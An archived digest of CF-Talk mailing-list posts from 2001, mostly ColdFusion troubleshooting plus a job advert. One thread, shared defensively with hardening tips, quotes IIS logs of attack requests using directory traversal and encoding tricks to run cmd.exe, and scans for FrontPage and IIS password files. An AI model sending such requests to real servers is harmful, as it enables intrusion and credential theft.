Re: list help
#ListGetAt(eList, ListPosition, ,)# You can get that type of error if your listposition variable is 0 sabrina - Original Message - From: Joshua Tipton To: CF-Talk Sent: Wednesday, May 09, 2001 4:33 AM Subject: list help Please help me to figure out why this isnt working. cfloop query=ctrdetail cfset e1=#e1# cfset e2=#e2# cfset e3=#e3# cfset e4=#e4# cfset e5=#e5# cfset e6=#e6# cfset e7=#e7# cfset eList=e1,e2,e3,e4,e5,e6,e7 cfset eListValues=#e1#,#e2#,#e3#,#e4#,#e5#,#e6#,#e7# cfset listPosition = listcontains(eListValues, 1) cfset FinalAnswer = ListGetAt(eList, ListPosition, ,) /cfloop cfoutput#FinalAnswer#/cfoutput Error Diagnostic Information An error occurred while evaluating the expression: FinalAnswer = ListGetAt(eList, ListPosition, ,) Error near line 69, column 7. Parameter 2 of function ListGetAt which is now 0 must be a positive integer The error occurred while processing an element with a general identifier of (CFSET), occupying ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Log files of a web attack.
A little more info is starting to go around. This attack is a scripted attack from a worm that infects Solaris machines, which then attack up to 2000 IIS servers before putting up the f*ck usa pages on the Solaris machine. Mostly harmless, but you gotta admire the mind that came up with that. Script kiddies who are to lazy to run their own scripts! ;-) I am getting more and more annoyed at Microsoft's poor excuse for a web server every day though. jon - Original Message - From: [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 9:52 PM Subject: OT: Log files of a web attack. Hi, I thought the group would like to see the techniques of a recent attack on our web servers. They've been doing this a couple times a day for a week. UUNet (their ISP) is slow in doing stopping them. To secure IIS we've removed all extensions except cfm. We've taken out all the iis folders and files like /mdac, /scripts and /printers. We've secured cfide folder with passwords including locking out the user after a couple failed attempts and log the failures. Lastly, we've remove all permissions from cmd.exe. This has kept them out to date. Any additional ideas are welcomed. Non of this is top secret info, the hackers already know it, but do you and are you protected? HTH, Rick Moon 2001-05-08 12:36:44 209.183.204.251 - myIP 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:36:44 209.183.204.251 - myIP 80 GET /scripts/..Á%pc../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:36:45 209.183.204.251 - myIP 80 GET /scripts/..À%9v../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:36:56 209.183.204.251 - myIP 80 GET /scripts/..À%qf../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:00 209.183.204.251 - myIP 80 GET /scripts/..Á%8s../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:00 209.183.204.251 - myIP 80 GET /scripts/..Á.../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:04 209.183.204.251 - myIP 80 GET /scripts/..o../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:08 209.183.204.251 - myIP 80 GET /scripts/..ð??¯../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:37:08 209.183.204.251 - myIP 80 GET /scripts/..ø???¯../winnt/system32/cmd.exe /c+dir 404 - 2001-05-08 12:38:17 209.183.204.251 - myIP 80 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 01:26:07 200.245.48.155 - myIP GET /scripts..\../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:57:58 200.230.112.153 - myIP 80 GET /iisadmpwd/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:00 200.230.112.153 - myIP 80 GET /msadc/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:14 200.230.112.153 - myIP 80 GET /cgi-bin/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:22 200.230.112.153 - myIP 80 GET /samples/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:29 200.230.112.153 - myIP 80 GET /_vti_cnf/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:36 200.230.112.153 - myIP 80 GET /_vti_bin/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-03 17:58:42 200.230.112.153 - myIP 80 GET /adsamples/../../../../../../winnt/system32/cmd.exe /c+dir 404 - 2001-05-05 02:43:02 200.245.48.132 - myIP 80 HEAD /aaa - 404 - 2001-05-05 02:43:04 200.245.48.132 - myIP 80 HEAD /carbo.dll - 404 - 2001-05-05 02:43:04 200.245.48.132 - myIP 80 HEAD /cgi-win/uploader.exe - 404 - 2001-05-05 02:43:06 200.245.48.132 - myIP 80 HEAD /search97.vts - 404 - 2001-05-05 02:43:08 200.245.48.132 - myIP 80 HEAD /_vti_inf.html - 200 - 2001-05-05 02:43:10 200.245.48.132 - myIP 80 HEAD /_vti_pvt/service.pwd - 404 - 2001-05-05 02:43:12 200.245.48.132 - myIP 80 HEAD /_vti_pvt/users.pwd - 404 - 2001-05-05 02:43:13 200.245.48.132 - myIP 80 HEAD /_vti_pvt/authors.pwd - 404 - 2001-05-05 02:43:17 200.245.48.132 - myIP 80 HEAD /../autoexec.bat - 404 - 2001-05-05 02:43:17 200.245.48.132 - myIP 80 HEAD //config.sys - 404 - 2001-05-05 02:43:20 200.245.48.132 - myIP 80 HEAD /iisadmpwd/achg.htr - 404 - 2001-05-05 02:43:20 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp.htr - 404 - 2001-05-05 02:43:21 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp2.htr - 404 - 2001-05-05 02:43:21 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp2b.htr - 404 - 2001-05-05 02:43:24 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp3.htr - 404 - 2001-05-05 02:43:24 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp4.htr - 404 - 2001-05-05 02:43:25 200.245.48.132 - myIP 80 HEAD /iisadmpwd/aexp4b.htr - 404 - 2001-05-05 02:43:25 200.245.48.132 - myIP 80 HEAD /iisadmpwd/anot.htr - 404 - 2001-05-05 02:43:27 200.245.48.132 - myIP 80 HEAD /iisadmpwd/anot3.htr - 404 - 2001-05-05 02:43:27 200.245.48.132 - myIP 80 HEAD /cgi-bin/visadmin.exe - 404 - 2001-05-05 02:43:29 200.245.48.132 - myIP 80 HEAD /scripts/no-such-file.pl - 404 - 2001-05-05 02:43:29 200.245.48.132 -
RE: Uploading a file
The file is a small Word Document so should not take up too much space at all..any ideas? nb -Original Message- From: David E. Crawford [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 18:39 To: CF-Talk Subject: Re: Uploading a file How large is the file? How much free diskspace and memory is available on the server? DC - Original Message - From: Nick Betts [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 12:40 Subject: Uploading a file Hi, I am trying to upload a file on a server using CFFILE. All is well in development, however on live server I get the following error: Error Occurred While Processing Request Error Diagnostic Information Request canceled or ignored by serverServer busy or unable to fulfill request. The server is unable to fulfill your request due to extremely high traffic or an unexpected internal error. Please attempt your request again (if you are repeatedly unsuccessful you should notify the site administrator). (Location Code: 26) The code I use to upload file is: cffile action=UPLOAD nameconflict=OVERWRITE filefield=addfile destination=#application.root#jobdescriptionDocs\ cfset suploadedfile = file.serverfile Is this error simply a server problem or is it to do with CFFILE. Cheers, Nick. -Original Message- From: Foggy, Doreen [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 17:16 To: CF-Talk Subject: RE: CFFILE I don't think it is a permission problem. I set the permission on the folder to everyone and still received the same error. It may be a network problem. When I upload the file to my hard drive destination path=c:\ It works. Any other path on my server returns the same error. Please advise... -- -- Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag (g:\) is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position (21:1) to (24:33). -Original Message- From: Howie Hamlin [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 11:48 AM To: CF-Talk Subject: Re: CFFILE If you are using UNC paths then you need to run CF under a user account with rights to the folder on the other server. By default, CF runs under the system account. You can change this in the NT Services applet. HTH, Howie Hamlin - inFusion Project Manager On-Line Data Solutions, Inc. www.CoolFusion.com 631-737-4668 x101 inFusion Mail Server (iMS) - The Intelligent Mail Server - Original Message - From: Foggy, Doreen [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 11:43 AM Subject: CFFILE Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag chh-test\www\lmts_int\cic is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position I am using the CFFILE tag for the first time and I am running into some problems. Please Help! The directory does exist and I am not sure what accessible by the ColdFuison service means. The directory is located on the web server. * I have two forms * upload.cfm (html form) * uploadfile.cfm (action page) The syntax for both is located below: Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img src=image/file.gif width=1200 height=50 border=0 alt= !--- This document was created with Cold Fusion Studio --- FORM ACTION=uploadfile.cfm ENCTYPE=multipart/form-dataMETHOD=POST table border=0 tr tdFile to upload:/td td input name=FileName size=50 type=FILE /td /tr tr tdFile Destination:/td td input type=text name=FileDestination value=\\chh-test\www\lmts_int\cic size=50 input type=SUBMIT size=50 value=Upload name=SUBMIT /td /tr /table nbsp; /FORM /BODY /HTML Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img src=image/file.gif width=1200 height=50 border=0 alt= !--- This document was created with Cold Fusion Studio --- cffile action=UPLOAD filefield=FileName destination=#form.FileDestination# nameconflict=OVERWRITE CFOUTPUT CENTER CF 3.1 CFFILE Tag File Upload Demonstration Results - Example 1P File Upload was Successful! Information about the file is
RE: Uploading a file
however, I can upload a TXT file! (but not a word doc) -Original Message- From: Nick Betts [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 08:54 To: CF-Talk Subject: RE: Uploading a file The file is a small Word Document so should not take up too much space at all..any ideas? nb -Original Message- From: David E. Crawford [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 18:39 To: CF-Talk Subject: Re: Uploading a file How large is the file? How much free diskspace and memory is available on the server? DC - Original Message - From: Nick Betts [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 12:40 Subject: Uploading a file Hi, I am trying to upload a file on a server using CFFILE. All is well in development, however on live server I get the following error: Error Occurred While Processing Request Error Diagnostic Information Request canceled or ignored by serverServer busy or unable to fulfill request. The server is unable to fulfill your request due to extremely high traffic or an unexpected internal error. Please attempt your request again (if you are repeatedly unsuccessful you should notify the site administrator). (Location Code: 26) The code I use to upload file is: cffile action=UPLOAD nameconflict=OVERWRITE filefield=addfile destination=#application.root#jobdescriptionDocs\ cfset suploadedfile = file.serverfile Is this error simply a server problem or is it to do with CFFILE. Cheers, Nick. -Original Message- From: Foggy, Doreen [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 17:16 To: CF-Talk Subject: RE: CFFILE I don't think it is a permission problem. I set the permission on the folder to everyone and still received the same error. It may be a network problem. When I upload the file to my hard drive destination path=c:\ It works. Any other path on my server returns the same error. Please advise... -- -- Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag (g:\) is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position (21:1) to (24:33). -Original Message- From: Howie Hamlin [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 11:48 AM To: CF-Talk Subject: Re: CFFILE If you are using UNC paths then you need to run CF under a user account with rights to the folder on the other server. By default, CF runs under the system account. You can change this in the NT Services applet. HTH, Howie Hamlin - inFusion Project Manager On-Line Data Solutions, Inc. www.CoolFusion.com 631-737-4668 x101 inFusion Mail Server (iMS) - The Intelligent Mail Server - Original Message - From: Foggy, Doreen [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 11:43 AM Subject: CFFILE Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag chh-test\www\lmts_int\cic is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position I am using the CFFILE tag for the first time and I am running into some problems. Please Help! The directory does exist and I am not sure what accessible by the ColdFuison service means. The directory is located on the web server. * I have two forms * upload.cfm (html form) * uploadfile.cfm (action page) The syntax for both is located below: Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img src=image/file.gif width=1200 height=50 border=0 alt= !--- This document was created with Cold Fusion Studio --- FORM ACTION=uploadfile.cfm ENCTYPE=multipart/form-dataMETHOD=POST table border=0 tr tdFile to upload:/td td input name=FileName size=50 type=FILE /td /tr tr tdFile Destination:/td td input type=text name=FileDestination value=\\chh-test\www\lmts_int\cic size=50 input type=SUBMIT size=50 value=Upload name=SUBMIT /td /tr /table nbsp; /FORM /BODY /HTML Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img src=image/file.gif width=1200 height=50 border=0 alt= !--- This document was created with Cold Fusion Studio --- cffile action=UPLOAD filefield=FileName
Linking accross datasources.
I seem to remember reading last week that someone had said you could query one datasource and reference another within it. Somethinglike datasourcename.tablename.fieldname Is this true ? Darren Adams Web Developer Marketing Department Systems Union Office: 01252 55 6220 Mobile: 07714 817 038 Email: [EMAIL PROTECTED] ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
cffile vars
Got a q. about CFFILE variables. CFFile.ContentType and CFFile.ContentSubType - are they reliable enough? I allow people to upload gif/jpg to one of my sites, and ONLY jpg/gif but I bet some of them will try to rename a .mp3 file into .gif or something Can I use this to filter other formats, rather then images? What is the anticipated output with #CFFILE.Content/Sub# vars.? Also - what is the diffrent between ServerFile and ServerFilename? Thanks, -=michael. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: [Object Oriented CFML]
Can you call a JSP page as an object, pass parameters to it, have its variables and such encapsulated, etc? You can't do this with a JSP per se, but you can call Java classes from within a JSP. You can do it with a servlet. A servlet is a Java class. A JSP interpreter such as JRun turns JSP's into servlets. You can write servlets directly without the JSP stage. JRun also provides the servlet engine, i.e. the other Java classes you need to actually run the servlet. Neo, on the other hand, also turns CFML templates into Java servlets... which I think is pretty interesting. Nick ** Information in this email is confidential and may be privileged. It is intended for the addressee only. If you have received it in error, please notify the sender immediately and delete it from your system. You should not otherwise copy it, retransmit it or use or disclose its contents to anyone. Thank you for your co-operation. ** ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: ASP NumberFormat
WTF? Is this a joke? -Original Message- From: Chris Maloney [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 8:04 PM To: CF-Talk Subject: RE: ASP NumberFormat Nathan, At first only your newsletters made me wonder about your lack of professionalism. Chris -Original Message- From: Nathan Stanford [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 10:58 AM To: CF-Talk Subject: RE: ASP NumberFormat Your treading on THIN ICE mentioning that COMPETITOR... grin Nathan Stanford Senior Programmer/Analyst [EMAIL PROTECTED] -Original Message- From: Bernd VanSkiver [SMTP:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 10:23 AM To: CF-Talk Subject: OT: ASP NumberFormat Sorry about bringing ASP in to the list but am having troubles finding the solution and was hoping someone here might know the answer. I am needing a way to format a number in ASP similar to the CF function NumberFormat() Is there a function or something in ASP for this? I'm not sure if ASP even has built in support for this. I am programming the ASP in VBScript. = Bernd VanSkiver [EMAIL PROTECTED] ColdFusion Developer ICQ UIN: 916324 ** Information in this email is confidential and may be privileged. It is intended for the addressee only. If you have received it in error, please notify the sender immediately and delete it from your system. You should not otherwise copy it, retransmit it or use or disclose its contents to anyone. Thank you for your co-operation. ** ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
UK ColdFusion/ASP developer required
Position / Location ==Applications developer (Cold Fusion, ASP) Rainford (near St Helens), Merseyside, United Kingdom Start date ==From 21st May 2001 Skill set requirements == Necessary: HTML (expert) ASP or Cold Fusion (2 year+) Knowledge of RDBMS Nice-to-have -- SQL Server 7 XML JavaScript / DHTML / CSS VBScript ActiveX / COM / DCOM Understanding of online payment services Starting Salary ==£ 30,000 Further information ==Recruitment agencies are not invited to respond. Teleworking is not an option. Address CV / enquiries to: ==Stuart Robinson [EMAIL PROTECTED] Netshopperuk Millbrook Business Park Mill Lane Rainford Merseyside WA11 8LZ Tel 01744 648650 Fax 01744 648651 -- Aidan Whitehall [EMAIL PROTECTED] Netshopperuk Telephone +44 (01744) 648650 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Uploading a file
There should not be a problem with the file size. Some one in my company was uploading online manuals in pdf format and my programme started to fall over. Fair enough really when the files are 15 meg but the message I got was different to that. -Original Message- From: Nick Betts [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 08:54 To: CF-Talk Subject: RE: Uploading a file The file is a small Word Document so should not take up too much space at all..any ideas? nb -Original Message- From: David E. Crawford [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 18:39 To: CF-Talk Subject: Re: Uploading a file How large is the file? How much free diskspace and memory is available on the server? DC - Original Message - From: Nick Betts [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 12:40 Subject: Uploading a file Hi, I am trying to upload a file on a server using CFFILE. All is well in development, however on live server I get the following error: Error Occurred While Processing Request Error Diagnostic Information Request canceled or ignored by serverServer busy or unable to fulfill request. The server is unable to fulfill your request due to extremely high traffic or an unexpected internal error. Please attempt your request again (if you are repeatedly unsuccessful you should notify the site administrator). (Location Code: 26) The code I use to upload file is: cffile action=UPLOAD nameconflict=OVERWRITE filefield=addfile destination=#application.root#jobdescriptionDocs\ cfset suploadedfile = file.serverfile Is this error simply a server problem or is it to do with CFFILE. Cheers, Nick. -Original Message- From: Foggy, Doreen [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 17:16 To: CF-Talk Subject: RE: CFFILE I don't think it is a permission problem. I set the permission on the folder to everyone and still received the same error. It may be a network problem. When I upload the file to my hard drive destination path=c:\ It works. Any other path on my server returns the same error. Please advise... -- -- Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag (g:\) is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position (21:1) to (24:33). -Original Message- From: Howie Hamlin [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 11:48 AM To: CF-Talk Subject: Re: CFFILE If you are using UNC paths then you need to run CF under a user account with rights to the folder on the other server. By default, CF runs under the system account. You can change this in the NT Services applet. HTH, Howie Hamlin - inFusion Project Manager On-Line Data Solutions, Inc. www.CoolFusion.com 631-737-4668 x101 inFusion Mail Server (iMS) - The Intelligent Mail Server - Original Message - From: Foggy, Doreen [EMAIL PROTECTED] To: CF-Talk [EMAIL PROTECTED] Sent: Tuesday, May 08, 2001 11:43 AM Subject: CFFILE Error Diagnostic Information Error processing CFFILE The directory specified in the DESTINATION attribute of the CFFILE tag chh-test\www\lmts_int\cic is not valid. The directory either does not exist or is not accessible by the ColdFusion service. The error occurred while processing an element with a general identifier of (CFFILE), occupying document position I am using the CFFILE tag for the first time and I am running into some problems. Please Help! The directory does exist and I am not sure what accessible by the ColdFuison service means. The directory is located on the web server. * I have two forms * upload.cfm (html form) * uploadfile.cfm (action page) The syntax for both is located below: Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img src=image/file.gif width=1200 height=50 border=0 alt= !--- This document was created with Cold Fusion Studio --- FORM ACTION=uploadfile.cfm ENCTYPE=multipart/form-dataMETHOD=POST table border=0 tr tdFile to upload:/td td input name=FileName size=50 type=FILE /td /tr tr tdFile Destination:/td td input type=text name=FileDestination value=\\chh-test\www\lmts_int\cic size=50 input type=SUBMIT size=50 value=Upload name=SUBMIT /td /tr /table nbsp; /FORM /BODY /HTML Upload.cfm titleWebStar: Contracts Online/title /head body background=image/background_blue.gif text=White link=Silver vlink=Yellow alink=White img
Watchguard Firewall II stripping CGI variables?
A Watchguard Firewall II has just been installed and it looks as though the default setting is to strip out unknown HTTP headers, judging by the information on their website. It appears to remove a raft of CGI variables sent by the browser and the only ones available are the ones ColdFusion provides. Anyone know how to stop this happening? Thanks -- Aidan Whitehall [EMAIL PROTECTED] Netshopperuk Telephone +44 (01744) 648650 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: Limit on SQL passed via CFQuery to SQL Server?
I disagree..If you use the Transact SQL language to it's full capabilities you can easilly build up a dynamic SQL string and execute it using EXEC(sqlstring)...in fact I'd say much better than you can using cfquery!. OK, if you do this you lose the query plan generated by SQL which is one of the benefits of using SP's but you don't have that anyway if you are using CFQuery! -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: mjohnson [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 17:25 To: CF-Talk Subject: RE: Limit on SQL passed via CFQuery to SQL Server? Unfortunately it is often very difficult to build a very dynamic query using a SP. Imagine I want to build the entire syntax of a query via cf. Lets say I want to create 15 insert statements that all insert different values. I build a cfloop and start generating the SQL statement sticking it into one string. In order to save on the ODBC connection time I place them all within one CFQUERY tag. This works great and is much faster than looping over the CFQUERY tag until you hit the 64k limit. You can't get a SP to simulate this type of behavior. Mark -Original Message- From: Andy Ewings [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 8:12 AM To: CF-Talk Subject: RE: Limit on SQL passed via CFQuery to SQL Server? If I were you I'd put it in an SP. I know there used to be a limit to the length of an SP in 6.5 but as far as I'm aware this issue was addressed in 7 -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: mjohnson [mailto:[EMAIL PROTECTED]] Sent: 08 May 2001 16:07 To: CF-Talk Subject: RE: Limit on SQL passed via CFQuery to SQL Server? yes this is true. I have experienced it doing multiple inserts withing one CFQUERY statement. The worst part of it is that it doesn't return any errors it just chops off the end of the query. So in my case some records were missing from the db. My solution was to keep track of how much text was being put into the CFQUERY tag and then creating a new CFQUERY on the fly. Mark -Original Message- From: Dave Watts [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 08, 2001 7:48 AM To: CF-Talk Subject: RE: Limit on SQL passed via CFQuery to SQL Server? I'm currently running a query that is 64KB of SQL text - and that wasn't a typing mistake! I wouldn't be surprised at all if the SQL string was treated as a variable in CF - with a limitation of 64Kb. Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ voice: (202) 797-5496 fax: (202) 797-5444 ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
RE: [Object Oriented CFML]
Nick Yeh I thought that sounded pretty interesting too! I'm the first person to admint that serverlets are pretty coollightning quick if I remember correctly. What bothers/worries me is how you can convert your cfml code into a serverlet without losing anything in the translation..we'll just have to wait and see I guess. -- Andrew Ewings Project Manager Thoughtbubble Ltd http://www.thoughtbubble.net -- United Kingdom http://www.thoughtbubble.co.uk/ Tel: +44 (0) 20 7387 8890 -- New Zealand http://www.thoughtbubble.co.nz/ Tel: +64 (0) 9 488 9131 -- The information in this email and in any attachments is confidential and intended solely for the attention and use of the named addressee(s). Any views or opinions presented are solely those of the author and do not necessarily represent those of Thoughtbubble. This information may be subject to legal, professional or other privilege and further distribution of it is strictly prohibited without our authority. If you are not the intended recipient, you are not authorised to disclose, copy, distribute, or retain this message. Please notify us on +44 (0)207 387 8890. -Original Message- From: DeVoil, Nick [mailto:[EMAIL PROTECTED]] Sent: 09 May 2001 10:01 To: CF-Talk Subject: RE: [Object Oriented CFML] Can you call a JSP page as an object, pass parameters to it, have its variables and such encapsulated, etc? You can't do this with a JSP per se, but you can call Java classes from within a JSP. You can do it with a servlet. A servlet is a Java class. A JSP interpreter such as JRun turns JSP's into servlets. You can write servlets directly without the JSP stage. JRun also provides the servlet engine, i.e. the other Java classes you need to actually run the servlet. Neo, on the other hand, also turns CFML templates into Java servlets... which I think is pretty interesting. Nick ** Information in this email is confidential and may be privileged. It is intended for the addressee only. If you have received it in error, please notify the sender immediately and delete it from your system. You should not otherwise copy it, retransmit it or use or disclose its contents to anyone. Thank you for your co-operation. ** ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
concurrency problem..
hi ppl... i have a hotel booking system that lets the users to reserve room thru the web. I retrieve the hotel room capacity to show the current room available... if the capacity is zero.. the page will indicate fully booked. In order to have the most updated info.. i actually retrieve the room capacity again from the database juz before updating... but seems still have slight chance to have multiple submission at microsec difference... i thinking of using CFLOCK to contain the read,update queries.. however.. at the admin module... i have a function that enable the administrator to update the total room capacity... so.. which means i cant use CFLOCK (..from my understanding.. CFLOCK only locks requests from same page...) Any advice?? heard that i can use stored procedure from the DB to lock the table...?? i never use stored procedure b4... so any kind soul can kindly guide me to some examples or website where i can learn?? thanx in advance... han ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Limit on SQL passed via CFQuery to SQL Server?
* Team Allaire * I disagree..If you use the Transact SQL language to it's full capabilities you can easilly build up a dynamic SQL string and execute it maybe, but its not designed to be used this way and i beat that sql is one darned hairy beast worthy of tom potts himself. most sql server people would recommend you build separate sp for these conditions (if logically possible). using EXEC(sqlstring)...in fact I'd say much better than you can using cfquery!. OK, if you do this you lose the query plan generated by SQL which you can gain a bit of caching benefit using sp_executeSQL but if this code is that dynamic, might as well use cf. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Q. about Encoding
Is it possible to Encode a certain string into specific set of characters? when I use the Encode() function it gives out a WELL ENCODED STRING, but the problem is that it's TOO ENCODED - It can't seem to be placed securely into form fields or urls (because it sometimes contains special signs such as /' and Carrige Returns). is there any solution to this? Michael. ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
Re: Q. about Encoding
on 5/9/01 6:01 AM, Michael Lugassy at [EMAIL PROTECTED] wrote: Is it possible to Encode a certain string into specific set of characters? when I use the Encode() function it gives out a WELL ENCODED STRING, but the problem is that it's TOO ENCODED - It can't seem to be placed securely into form fields or urls (because it sometimes contains special signs such as /' and Carrige Returns). is there any solution to this? Try using URLEncodedFormat() and then URLDecode(). Sebastian ~~ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists
